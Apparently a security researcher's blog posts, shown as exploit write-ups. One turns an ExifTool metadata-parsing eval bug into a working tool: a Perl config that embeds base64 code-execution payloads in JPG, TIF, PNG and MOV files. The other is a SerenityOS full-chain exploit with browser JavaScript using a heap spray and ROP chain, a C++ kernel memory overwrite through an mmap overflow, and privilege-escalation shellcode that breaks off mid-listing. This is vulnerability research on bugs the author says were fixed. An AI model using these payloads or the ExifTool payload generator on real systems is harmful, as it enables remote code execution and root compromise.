  ExifByteOrder = MM
  + [IFD0 directory with 22 entries]
  | 0)  SubfileType = 0
  |     - Tag 0x00fe (4 bytes, int32u[1]):
  |         0012: 00 00 00 00                                     [....]
  | 1)  ImageWidth = 160
  |     - Tag 0x0100 (4 bytes, int32u[1]):
  |         001e: 00 00 00 a0                                     [....]
  | 2)  ImageHeight = 120
  |     - Tag 0x0101 (4 bytes, int32u[1]):
  |         002a: 00 00 00 78                                     [...x]
  | 3)  BitsPerSample = 8 8 8
  |     - Tag 0x0102 (6 bytes, int16u[3]):
  |         0116: 00 08 00 08 00 08                               [......]
  | 4)  Compression = 5
  |     - Tag 0x0103 (2 bytes, int16u[1]):
  |         0042: 00 05                                           [..]
  | 5)  PhotometricInterpretation = 2
  |     - Tag 0x0106 (2 bytes, int16u[1]):
  |         004e: 00 02                                           [..]
  | 6)  ImageDescription = The picture caption
  |     - Tag 0x010e (20 bytes, string[20]):
  |         011c: 54 68 65 20 70 69 63 74 75 72 65 20 63 61 70 74 [The picture capt]
  |         012c: 69 6f 6e 00                                     [ion.]
  | 7)  Make = Canon
  |     - Tag 0x010f (6 bytes, string[6]):
  |         0130: 43 61 6e 6f 6e 00                               [Canon.]
  | 8)  Model = Canon EOS DIGITAL REBEL
  |     - Tag 0x0110 (24 bytes, string[24]):
  |         0136: 43 61 6e 6f 6e 20 45 4f 53 20 44 49 47 49 54 41 [Canon EOS DIGITA]
  |         0146: 4c 20 52 45 42 45 4c 00                         [L REBEL.]
  | 9)  StripOffsets = 3816
  |     - Tag 0x0111 (4 bytes, int32u[1]):
  |         007e: 00 00 0e e8                                     [....]
  | 10) SamplesPerPixel = 3
  |     - Tag 0x0115 (2 bytes, int16u[1]):
  |         008a: 00 03                                           [..]
  | 11) RowsPerStrip = 120
  |     - Tag 0x0116 (4 bytes, int32u[1]):
  |         0096: 00 00 00 78                                     [...x]
  | 12) StripByteCounts = 1048
  |     - Tag 0x0117 (4 bytes, int32u[1]):
  |         00a2: 00 00 04 18                                     [....]
  | 13) XResolution = 180 (1800/10)
  |     - Tag 0x011a (8 bytes, rational64u[1]):
  |         014e: 00 00 07 08 00 00 00 0a                         [........]
  | 14) YResolution = 180 (1800/10)
  |     - Tag 0x011b (8 bytes, rational64u[1]):
  |         0156: 00 00 07 08 00 00 00 0a                         [........]
  | 15) PlanarConfiguration = 1
  |     - Tag 0x011c (2 bytes, int16u[1]):
  |         00c6: 00 01                                           [..]
  | 16) ResolutionUnit = 2
  |     - Tag 0x0128 (2 bytes, int16u[1]):
  |         00d2: 00 02                                           [..]
  | 17) Software = GraphicConverter
  |     - Tag 0x0131 (17 bytes, string[17]):
  |         015e: 47 72 61 70 68 69 63 43 6f 6e 76 65 72 74 65 72 [GraphicConverter]
  |         016e: 00                                              [.]
  | 18) ModifyDate = 2004:02:20 08:07:49
  |     - Tag 0x0132 (20 bytes, string[20]):
  |         0170: 32 30 30 34 3a 30 32 3a 32 30 20 30 38 3a 30 37 [2004:02:20 08:07]
  |         0180: 3a 34 39 00                                     [:49.]
  | 19) Predictor = 1
  |     - Tag 0x013d (2 bytes, int16u[1]):
  |         00f6: 00 01                                           [..]
  | 20) IPTC-NAA (SubDirectory) -->
  |     - Tag 0x83bb (284 bytes, int32u[71] read as undef[284]):
  |         0184: 1c 02 00 00 02 00 02 1c 02 78 00 13 54 68 65 20 [.........x..The ]
  |         0194: 70 69 63 74 75 72 65 20 63 61 70 74 69 6f 6e 1c [picture caption.]
  |         01a4: 02 7a 00 0a 49 20 77 72 6f 74 65 20 69 74 1c 02 [.z..I wrote it..]
  |         01b4: 28 00 0f 6e 6f 20 69 6e 73 74 72 75 63 74 69 6f [(..no instructio]
  |         01c4: 6e 73 1c 02 50 00 0e 49 27 6d 20 74 68 65 20 61 [ns..P..I'm the a]
  |         01d4: 75 74 68 6f 72 1c 02 55 00 06 4f 6e 20 74 6f 70 [uthor..U..On top]
  |         01e4: 1c 02 6e 00 0b 50 68 69 6c 20 48 61 72 76 65 79 [..n..Phil Harvey]
  |         01f4: 1c 02 73 00 09 4d 79 20 63 61 6d 65 72 61 1c 02 [..s..My camera..]
  |         0204: 05 00 11 54 68 69 73 20 69 73 20 74 68 65 20 74 [...This is the t]
  |         0214: 69 74 6c 65 1c 02 37 00 08 32 30 30 34 30 32 32 [itle..7..2004022]
  |         0224: 30 1c 02 5a 00 08 4b 69 6e 67 73 74 6f 6e 1c 02 [0..Z..Kingston..]
  |         0234: 5f 00 07 4f 6e 74 61 72 69 6f 1c 02 65 00 06 43 [_..Ontario..e..C]
  |         0244: 61 6e 61 64 61 1c 02 67 00 0c 6e 6f 20 72 65 66 [anada..g..no ref]
  |         0254: 65 72 65 6e 63 65 1c 02 19 00 08 65 78 69 66 74 [erence.....exift]
  |         0264: 6f 6f 6c 1c 02 19 00 04 74 65 73 74 1c 02 19 00 [ool.....test....]
  |         0274: 07 70 69 63 74 75 72 65 1c 02 74 00 10 43 6f 70 [.picture..t..Cop]
  |         0284: 79 72 69 67 68 74 20 6e 6f 74 69 63 65 1c 02 69 [yright notice..i]
  |         0294: 00 08 68 65 61 64 6c 69 6e 65 00 00             [..headline..]
  | + [IPTC directory, 284 bytes]
  ...

Opening the file in a hex editor and searching for the tag id 83BB found the following sequence 83BB00040000004700000184. Referring to format doc this should match up with the tif tag:

typedef struct _TifTag
{
	WORD   TagId;       /* The tag identifier  */
	WORD   DataType;    /* The scalar type of the data items  */
	DWORD  DataCount;   /* The number of items in the tag data  */
	DWORD  DataOffset;  /* The byte offset to the data items  */
} TIFTAG;

So the tag id is 0x83BB, the datatype is 4, the count is 0x47 (71) and the offset 0x184 (388). The data type of 4 is a 32-bit unsigned integer, which all fits with the information provided by the verbose output. Simply changing 0x83BB to 0xC51B and rerunning exiftool had it picking up the HasselbladExif tag! I then replaced the whole tag value with a short payload that would trigger the eval:

$ exiftool -v10 ./t/images/ExifTool.tif
...
  | 19) Predictor = 1
  |     - Tag 0x013d (2 bytes, int16u[1]):
  |         00f6: 00 01                                           [..]
  | 20) HasselbladExif = AT&TFORM.DJVUANTa..(metadata.    (Author "\." . return `date`; #")
  |     - Tag 0xc51b (284 bytes, int32u[71] read as undef[284]):
  |         0184: 41 54 26 54 46 4f 52 4d 00 00 00 08 44 4a 56 55 [AT&TFORM....DJVU]
  |         0194: 41 4e 54 61 00 00 01 04 28 6d 65 74 61 64 61 74 [ANTa....(metadat]
  |         01a4: 61 0a 20 20 20 20 28 41 75 74 68 6f 72 20 22 5c [a.    (Author "\]
  |         01b4: 0a 22 20 2e 20 72 65 74 75 72 6e 20 60 64 61 74 [." . return `dat]
  |         01c4: 65 60 3b 20 23 22 29 20 20 20 20 20 20 20 20 20 [e`; #")         ]
  |         01d4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         01e4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         01f4: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0204: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0214: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0224: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0234: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0244: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0254: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0264: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0274: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0284: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |         0294: 20 20 20 20 20 20 20 20 20 20 20 20             [            ]
  | FileType = DJVU
  | FileTypeExtension = DJVU
  | MIMEType = image/vnd.djvu
AIFF 'ANTa' chunk (260 bytes of data): 24
  | ANTa (SubDirectory) -->
  | - Tag 'ANTa' (260 bytes):
  |     0018: 28 6d 65 74 61 64 61 74 61 0a 20 20 20 20 28 41 [(metadata.    (A]
  |     0028: 75 74 68 6f 72 20 22 5c 0a 22 20 2e 20 72 65 74 [uthor "\." . ret]
  |     0038: 75 72 6e 20 60 64 61 74 65 60 3b 20 23 22 29 20 [urn `date`; #") ]
  |     0048: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0058: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0068: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0078: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0088: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0098: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00a8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00b8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00c8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00d8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00e8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     00f8: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0108: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [                ]
  |     0118: 20 20 20 20                                     [    ]
  | | Metadata (SubDirectory) -->
  | | + [Metadata directory with 1 entries]
  | | | Author = Thu  6 May 2021 21:06:17 AEST.

Great so now the payload could be triggered from a valid tif! What’s more, the EXIF data is used in quite a few other formats:

EXIF stands for "Exchangeable Image File Format".  This type of information
is formatted according to the TIFF specification, and may be found in JPG,
TIFF, PNG, JP2, PGF, MIFF, HDP, PSP and XCF images, as well as many
TIFF-based RAW images, and even some AVI and MOV videos.

Instead of manually editing the files each time, it would be great if there was a tool designed to edit image metadata. It turns out ExifTool allows you to create your own tag tables with a config file using Image::ExifTool::UserDefined. After a bit of trial and error I had the following eval.config file:

%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
        0xc51b => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                use MIME::Base64;
                my $val = shift;
                $encoded = encode_base64($val);
                my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
                my $len = pack "N", length($meta);
                my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
                return $payload;
            }
        }
    }
)

This let you add the HasselbladExif tag to any format that exiftool could write EXIF tags to (eg jpg, tif, png):

$ exiftool -config eval.config image.jpg -eval='system("echo ggg")'
$ exiftool image.jpg
$ exiftool image.jpg
ggg
ExifTool Version Number         : 11.85
File Name                       : image.jpg
Directory                       : .
File Size                       : 11 kB

Bonus Formats

Any of the formats that use the tag table Image::ExifTool::Exif::Main, call ExtractInfo, ProcessTIFF, ProcessExif, or process any of the vulnerable formates can most likely be used as well. An incomplete list:

ZIP - lib/Image/ExifTool/ZIP.pm#L599-L600

If a zip file contains meta.json then it will have ExtractInfo called on it.

if ($extract{$file}) {
    ($buff, $status) = $zip->contents($member);
    $status and $et->Warn("Error extracting $file"), next;
    if ($file eq 'meta.json') {
        $et->ExtractInfo(\$buff, { ReEntry => 1 });
        if ($$et{VALUE}{App} and $$et{VALUE}{App} =~ /sketch/i) {
            $et->OverrideFileType('SKETCH');
        }

PDF - lib/Image/ExifTool/PDF.pm#L2071-L2076

If a PDF uses the DCTDecode or JPXDecode filters then ExtractInfo will be called on it.

if ($filter eq '/DCTDecode' or $filter eq '/JPXDecode') {
    DecodeStream($et, $dict) or last;
    # save the image itself
    $et->FoundTag($tagInfo, \$$dict{_stream});
    # extract information from embedded image
    $result = $et->ExtractInfo(\$$dict{_stream}, { ReEntry => 1 });

AVI - lib/Image/ExifTool/RIFF.pm#L497-L503

The EXIF tag will be processed as a tiff. ExifTool doesn’t support writing to AVIs, but one of the JUNK tags used for alignment in the AVI could just be replaced with EXIF and a tiff/exif payload.

    EXIF => [{ # (WebP)
        Name => 'EXIF',
        Condition => '$$valPt =~ /^(II\x2a\0|MM\0\x2a)/',
        Notes => 'WebP files',
        SubDirectory => {
            TagTable => 'Image::ExifTool::Exif::Main',
            ProcessProc => \&Image::ExifTool::ProcessTIFF,

MOV/MP4 - lib/Image/ExifTool/QuickTime.pm#L2128-L2132

The UserData tag RMKN will be processed as a tiff which will then its exif data parsed.

    RMKN => { #PH (GR)
        Name => 'RicohRMKN',
        SubDirectory => {
            TagTable => 'Image::ExifTool::Exif::Main',
            ProcessProc => \&Image::ExifTool::ProcessTIFF, # (because ProcessMOV is default)

The config file from before can be modified to add support for writing to this tag:

use MIME::Base64;

sub GetDjVu {
    my ($val) = @_;
    $encoded = encode_base64($val);
    my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
    my $len = pack "N", length($meta);
    my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
    return $payload;
}

sub GetTiff {
    my ($val) = @_;
    my $payload = GetDjVu($val);
    my $len = pack "N", length($payload) + 1;
    my $tif =
        "MM\x00*\x00\x00\x00\x08\x00\x05\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00J\x01\x1b\x00\x05\x00\x00\x00\x01\x00" .
        "\x00\x00R\x01(\x00\x03\x00\x00\x00\x01\x00\x03\x00\x00\x02\x13\x00\x03\x00\x00\x00\x01\x00\x01\x00\x00\xc5\x1b\x00\x07" .
        "$len\x00\x00\x00Z\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00\x01\x00\x00\x00%\x00\x00\x00\x01" .
        "$payload\x00";
    return $tif;
}

%Image::ExifTool::UserDefined = (
    'Image::ExifTool::Exif::Main' => {
        0xc51b => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            WriteGroup => 'IFD0',
            ValueConvInv => sub {
                return GetDjVu(shift);
            }
        }
    },

    'Image::ExifTool::QuickTime::UserData' => {
        'RMKN' => {
            Name => 'eval',
            Binary => 1,
            Writable => 'undef',
            ValueConvInv => sub {
                return GetTiff(shift);
            }
        }
    }
)

References

SerenityOS - Writing a full chain exploit

2021-02-11T09:52:00+00:00

I recently came across SerenityOS when it was featured in hxp CTF and then on LiveOverflow’s YouTube channel. SerenityOS is an open source operating system written from scratch by Andreas Kling and now has a strong and active community behind it. If you’d like to learn a bit more about it then the recent CppCast episode is a good place to start, as well as all of the fantastic videos by Andreas Kling.

Two of the recent videos were about writing exploits for a typed array bug in javascript, and a kernel bug in munmap. The videos were great to watch and got me thinking that it would be fun to try and find a couple of bugs that could be chained together to create a full chain exploit such as exploiting a browser bug to exploit a kernel bug to get root access.

Entrypoint

I started looking around and discovered an integer overflow when creating a typed array from an array buffer, the length was multiplied by the element size which could overflow. Userland/Libraries/LibJS/Runtime/TypedArray.cpp#L69

static void initialize_typed_array_from_array_buffer(GlobalObject& global_object, TypedArrayBase& typed_array, ArrayBuffer& array_buffer, Value byte_offset, Value length)
{
    // SNIP ...

    auto buffer_byte_length = array_buffer.byte_length();
    size_t new_byte_length;
    if (length.is_undefined()) {
        if (buffer_byte_length % element_size != 0) {
            vm.throw_exception<RangeError>(global_object, ErrorType::TypedArrayInvalidBufferLength, typed_array.class_name(), element_size, buffer_byte_length);
            return;
        }
        if (offset > buffer_byte_length) {
            vm.throw_exception<RangeError>(global_object, ErrorType::TypedArrayOutOfRangeByteOffset, offset, buffer_byte_length);
            return;
        }
        new_byte_length = buffer_byte_length - offset;
    } else {
        new_byte_length = new_length * element_size;
        if (offset + new_byte_length > buffer_byte_length) {
            vm.throw_exception<RangeError>(global_object, ErrorType::TypedArrayOutOfRangeByteOffsetOrLength, offset, offset + new_byte_length, buffer_byte_length);
            return;
        }
    }
    typed_array.set_viewed_array_buffer(&array_buffer);
    typed_array.set_byte_length(new_byte_length);
    typed_array.set_byte_offset(offset);
    typed_array.set_array_length(new_byte_length / element_size);
}

This could be used to create two powerful primitives, one that could read an arbitrary address and the other that could read an arbitrary amount from some allocated memory. These were the same primitives that Kling created in his video which meant that the issue could be exploited in exactly the same way:

Finding a vtable pointer with the offset primitive by spraying lots of Numbers
Use the deterministic memory layout to calculating the stack location
Find the saved return address on the stack
Overwriting it with a rop chain.

While I was looking into exploiting this, someone else spotted the same issue and it was quickly patched.

As I had already started and wanted to keep using the same issue, I kept working from this commit which still had the bug :)

Exploiting the issue is pretty much identical to the video above and it does a great job explaining what is going on, so I wont go into too much detail. Here Is what I ended up with:

<script>
  function log(msg) {
    console.log(msg);
  }

  log("starting hax");

  const AAAs = 2261634.509804;
  const spray_size = 2000;
  const spray = new Array(spray_size);

  for (let i = 0; i < spray_size / 2; i++) {
    spray[i] = new Number(AAAs);
  }

  // Create an array with a null backing store allowing arbitary rw
  ab1 = new ArrayBuffer();
  ua1 = new Uint32Array(ab1, 4, 0x3fffffff);

  // Create an array with a large length but a valid backing store
  ab2 = new ArrayBuffer(0x50000);
  ua2 = new Uint32Array(ab2, 4, 0x3fffffff);

  for (let i = spray_size / 2; i < spray_size; i++) {
    spray[i] = new Number(AAAs);
  }

  log("done spraying");

  function read(addr) {
    return ua1[addr / 4 - 1];
  }

  function write(addr, value) {
    ua1[addr / 4 - 1] = value;
  }

  // 0x6c000 is the offset from the array buffer to the next heap allocation
  function read_heap(off) {
    return ua2[0x6c000 / 4 + off];
  }

  function write_heap(off, value) {
    ua2[0x6c000 / 4 + off] = value;
  }

  let number_i = 0;

  log("looking for 0x41414141");
  for (let i = 0; i < 100; i++) {
    if (read_heap(i) == 0x41414141) {
      log("found 0x" + i.toString(16) + ": 0x" + read_heap(i).toString(16));
      number_i = i;
      break;
    }
  }

  const number_i_vtable = number_i - 8;

  const libjs_data_addr = read_heap(number_i_vtable) - 0x28ac;
  const libjs_addr = libjs_data_addr - 0xe0000;
  const stack_addr = libjs_addr - 0x2537000;

  log("libjs_data_addr 0x" + libjs_data_addr.toString(16));
  log("libjs_addr 0x" + libjs_addr.toString(16));
  log("stack_addr 0x" + stack_addr.toString(16));

  log("looking for stack return");
  let stack_ret = 0;
  for (let i = stack_addr + 0x400000 - 4; i > stack_addr; i -= 4) {
    if (read(i) == libjs_addr + 0x5af5e) {
      log("found stack_ret 0x" + i.toString(16) + ": 0x" + read(i).toString());
      stack_ret = i;
      break;
    }
  }
  write(stack_ret, 0x12345678);
</script>

Loading the above in the browser resulting in a crash at 0x12345678:

[Browser(37:37)]: CPU[0] NP(error) fault at invalid address V0x12345678
[Browser(37:37)]: Unrecoverable page fault, instruction fetch / read from address V0x12345678
[Browser(37:37)]: CRASH: CPU #0 Page Fault. Ring 3.
[Browser(37:37)]: exception code: 0014 (isr: 0000
[Browser(37:37)]:   pc=001b:12345678 flags=0246
[Browser(37:37)]:  stk=0023:026ff2e4
[Browser(37:37)]:   ds=0023 es=0023 fs=0023 gs=002b
[Browser(37:37)]: eax=026ff3c0 ebx=0491ce8c ecx=00000000 edx=0491e4a0
[Browser(37:37)]: ebp=026ff378 esp=c2a48fe8 esi=00000005 edi=02d0dfd8
[Browser(37:37)]: cr0=80010013 cr2=12345678 cr3=07351000 cr4=003006e4
[Browser(37:37)]: CPU[0] NP(error) fault at invalid address V0x12345678
[Browser(37:37)]: 0x12345678  (?)

Since we can write any amount to the stack, it was fairly straight forward to build a rop chain that mmapped a region, put some shellcode there, mprotected it to make it executable, then jump there:

const libc_addr = libjs_addr - 0x122000;
const mmap_addr = libc_addr + 0x1b379;
const memcpy_addr = libc_addr + 0x002f51d;
const mprotect_addr = libc_addr + 0x1b487;

const shellcode = [0xcccccccc];

// write our shellcode to a know location (start of the stack)
const shellcode_addr = stack_addr;
for (let i = 0; i < shellcode.length; i++) {
  write(shellcode_addr + i * 4, shellcode[i]);
}

log("shellcode_addr: 0x" + shellcode_addr.toString(16));

// rop gadgets
// 0x000462f3: pop esi; pop edi; pop ebp; ret;
// 0x0007bda9: add esp, 0x10; pop esi; pop edi; pop ebp; ret;

pop7_addr = libjs_addr + 0x0007bda9;
pop3_adr = libjs_addr + 0x000462f3;

log("pop7_addr: 0x" + pop7_addr.toString(16));
log("pop3_adr: 0x" + pop3_adr.toString(16));

// 1. map region at 0x9d000000
// 2. memcpy our shellcode there
// 3. make it executable
// 4. jump there
write(stack_ret, mmap_addr);
const rop = [
  pop7_addr, //ret
  0x9d000000,
  0x8000,
  3,
  0x32,
  0,
  0,
  0xdeadbeef,

  memcpy_addr,
  pop3_adr, // ret
  0x9d000000,
  shellcode_addr,
  0x8000,

  mprotect_addr,
  pop3_adr, // ret
  0x9d000000,
  0x8000,
  5,

  0x9d000000,
];
for (let i = 0; i < rop.length; i++) {
  write(stack_ret + 4 * (2 + i), rop[i]);
}

// finish to trigger the rop chain

After loading this up and setting a breakpoint with gdb at 0x9d000000:

Success! Arbitrary code in the browser.

Kernel Bug Hunting

Next it was time to try and find a kernel bug that could be reached from the browser process. There had been a few issues with integer overflows, so I started looking for places that this might happen. After some searching I saw the following in RangeAllocator::allocate_anywhere:

for (size_t i = 0; i < m_available_ranges.size(); ++i) {
    auto& available_range = m_available_ranges[i];

    // FIXME: This check is probably excluding some valid candidates when using a large alignment.
    if (available_range.size() < (effective_size + alignment))
        continue;

Each process has a list of available ranges that are used when allocating memory regions. This code is looping through all the ranges and seeing if there is one large enough to hold the requested size, taking into account the alignment (both effective_size and alignment are controlled by the user). The issue is that effective_size + alignment can overflow, resulting in a range being chosen that is too small to hold the requested size.

The available_range is then used to create a new allocated range:

    FlatPtr initial_base = available_range.base().offset(offset_from_effective_base).get();
    FlatPtr aligned_base = round_up_to_power_of_two(initial_base, alignment);

    Range allocated_range(VirtualAddress(aligned_base), size);
    if (available_range == allocated_range) {
        dbgln<VRA_DEBUG>("VRA: Allocated perfect-fit anywhere({}, {}): {}", size, alignment, allocated_range.base().get());
        m_available_ranges.remove(i);
        return allocated_range;
    }
    carve_at_index(i, allocated_range);

    return allocated_range;

If it isn’t exactly equal then it carves out the range and add the remaining range back into m_available_ranges:

void RangeAllocator::carve_at_index(int index, const Range& range)
{
    ASSERT(m_lock.is_locked());
    auto remaining_parts = m_available_ranges[index].carve(range);
    ASSERT(remaining_parts.size() >= 1);
    m_available_ranges[index] = remaining_parts[0];
    if (remaining_parts.size() == 2)
        m_available_ranges.insert(index + 1, move(remaining_parts[1]));
}

Vector<Range, 2> Range::carve(const Range& taken)
{
    Vector<Range, 2> parts;
    if (taken == *this)
        return {};
    if (taken.base() > base())
        parts.append({ base(), taken.base().get() - base().get() });
    if (taken.end() < end())
        parts.append({ taken.end(), end().get() - taken.end().get() });

    return parts;
}

This code all assumes that the range being taken is smaller than the existing range, but due to the overflow this isn’t the case. For example, take the following call with a size of 0x1000 and an alignment of 0xffffe000:

void *ptr = serenity_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0xffffe000, "hax");

This will return a region at 0xffffe000 and add an available range to the process of 0xf01000 -> 0xffffdfff.

So using the bug we could allocate a region that overlaps with the top of kernel space by reducing the alignment and increasing the size. Alternatively, the example above could be used with multiple calls to mmap to return a region that overlaps with the bottom of the kernel region.

Overwriting kernel space with nulls is great and all, but being able to control the content is much nicer than just causing a triple fault. Luckily SerenityOS has something called AnonymousFiles which can be used with a shared mapping to achieve this.

   int fd = anon_create(size, 0);
   void *mapped_file = serenity_mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0x1000, NULL);
   memcpy(mapped_file, payload, payload_len);

   // later on when we overwrite kernel space
   serenity_mmap(NULL, size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

Since there was no point in not doing so, reported the bug at SerenityOS/serenity#5162 and it was quickly fixed :)

Exploiting

We have most of the pieces to exploit this now, but one of the issues is that the replacement is not very selective and will overwrite all of the kernel regions up to a page aligned boundary that we can choose. These new regions will only take effect after Processor::flush_tlb_local has been called, which as the name suggests, will flush the TLB and cause the virtual address to read from the new physical page.

After a bit of trial and error, I came up with the following plan:

overwrite everything up to 0xc0119000 in the kernel
using an AnonymousFile, replace the kernel regions with what was already there (dumped via gdb previously)
put some shellcode at 0xc0001000 to avoid smep and smap issues
inject a small hook into flush_tlb_local right after the flush to jump to 0xc0001000
since flush_tlb_local is located at 0xc0118e70, flushing the tlb of this final page will cause the injected region to be used, which happens after mmaping the region

After much head scratching, debugging, and klog messages had the following hax.cpp:

/*
  hax_kern.h generated from gdb with `dump memory kern.bin 0xc0114000 0xc0119000` then `xxd -i kern.bin > hax_kern.h`
*/

#include "hax_kern.h"
#include <AK/Format.h>
#include <mman.h>
#include <serenity.h>
#include <string.h>

// from kernel.map
#define FLUSH_TBL_LOCAL_ADDR 0xc0118e70

void log(const char* msg);
void log(const char* msg)
{
    dbgputstr(msg, strlen(msg));
}

int main()
{
    log("starting hax\n");

    // get the address of the first availible range
    void* first = serenity_mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0x1000, NULL);

    // size of the final mmap that will overwrite the kernel
    size_t overwrite_size = 0x5000000;

    // how much of the kernel region will be overwritten (from 0xc0000000)
    size_t overflow_amount = 0x119000;

    // address right after the tlb flush happens
    size_t flush_tlb_local_addr = FLUSH_TBL_LOCAL_ADDR + 25 - 0xc0000000;

    // offset from 0xc0000000 to start replacing kernel with the original
    size_t kern_start_addr = 0x114000;

    // offset from 0xc0000000 where shellcode is
    size_t payload_addr = 0x1000;

    // locations for copying data in the AnonymousFile
    size_t flush_tlb_local_offset = overflow_amount - flush_tlb_local_addr;
    size_t kern_start_offset = overflow_amount - kern_start_addr;
    size_t payload_offset = overflow_amount - payload_addr;

    // create the AnonymousFile
    int fd = anon_create(overwrite_size, 0);
    void* mapped_file = serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0x1000, NULL);

    //mov eax, 0xc0001000
    //jmp eax
    u8 shellcode[] = { 0xb8, 0x00, 0x10, 0x00, 0xc0, 0xff, 0xe0 };

    // int 3 for testing
    unsigned char payload_bin[] = {
        0xcc
    };
    unsigned int payload_bin_len = 1;

    // copy the original kernel, the flush_tlb_local hook, and the shellcode to the correct offsets
    memcpy((void*)((size_t)mapped_file + overwrite_size - kern_start_offset), kern_bin, kern_bin_len);
    memcpy((void*)((size_t)mapped_file + overwrite_size - flush_tlb_local_offset), shellcode, sizeof(shellcode));
    memcpy((void*)((size_t)mapped_file + overwrite_size - payload_offset), payload_bin, payload_bin_len);

    log("injecting mapping\n");
    // trigger the overflow and invalid availible_range to be added
    serenity_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0xfffff000 - 0x1000, NULL);

    void* ptr = NULL;
    log("grooming regions\n");

    // make sure that there are no availible regions that are left that can fit our final size of 0x5000000
    size_t i = (size_t)first;
    while (i < 0xb0000000) {
        i += 0x4000000;
        ptr = serenity_mmap((void*)i, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE | MAP_FIXED, -1, 0, 0x1000, NULL);
    }

    // create a chunk that will take up the remaining space to align our final region correctly
    size_t end = 0xc0000000 - 0x3000 - (size_t)ptr - overwrite_size + overflow_amount;

    log("filling up to last region to correct location\n");
    ptr = serenity_mmap(NULL, end, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0, 0x1000, NULL);

    // overwrite the kernel region
    log("overwritting kernel mapping\n");
    serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

    while (true) { }

    return 0;
}

Compiling and running this resulted in our payload being jumped to and the breakpoint trap being hit!

starting hax
injecting mapping
grooming regions
filling up to last region to correct location
overwritting kernel mapping
[hax(27:27)]: Breakpoint Trap in Ring0

We now can inject arbitrary shellcode into the kernel! One major issue is that we have made a few rw regions r-x and any context switches or numerous other things will cause a kernel panic.

Since the current page table is already mapped to 0xffe00000 (due to the call to MM.ensure_pte from Region::map_individual_page_impl(size_t page_index), we can loop over all of the entries there and make them writeable and executable (remove nx) then flush the tlb again.

After doing this the kernel was slightly more stable, but it still pretty much crashed the moment that the hax process was context switched. Setting the thread priority helped, allowing the hax process to keep on doing things before the kernel panicked.

It’s much easier to do things in userland, so the remaining job of the shellcode was to set the uid of the process to 0 (to become root) and to make sure we had all of the promises to perform any syscall. The final shellcode was:

; python -c 'from pwn import *; write("payload.bin", asm(read("payload.asm").decode().replace("; ", "// ")))'
; xxd -i payload.bin

; check if payload has already run
start:
mov eax, 0xc0108f00
cmp dword ptr [eax], 0x12345678
je already_done

; clear smep and smap
mov eax, cr4
and eax , 0xfff
mov cr4, eax

; loop over current page table and make everything user, read/write and executable
mov eax, 0xffe00000
loop:
mov ebx, [eax]
test ebx, ebx
jz next

or ebx, 0x6
mov [eax], ebx
mov dword ptr [eax+4], 0
next:
add eax, 8
cmp eax, 0xffe01000
je end
jmp loop

end:

; flush tlb
mov eax, cr3
mov cr3, eax

; mark as done
mov eax, 0xc0108f00
mov ecx, 0x12345678
mov [eax], ecx

; get current thread via Kernel::Thread::current
mov    eax,fs:0x0
mov    edx,DWORD PTR fs:0x0
cmp    eax,edx
je     got_thread
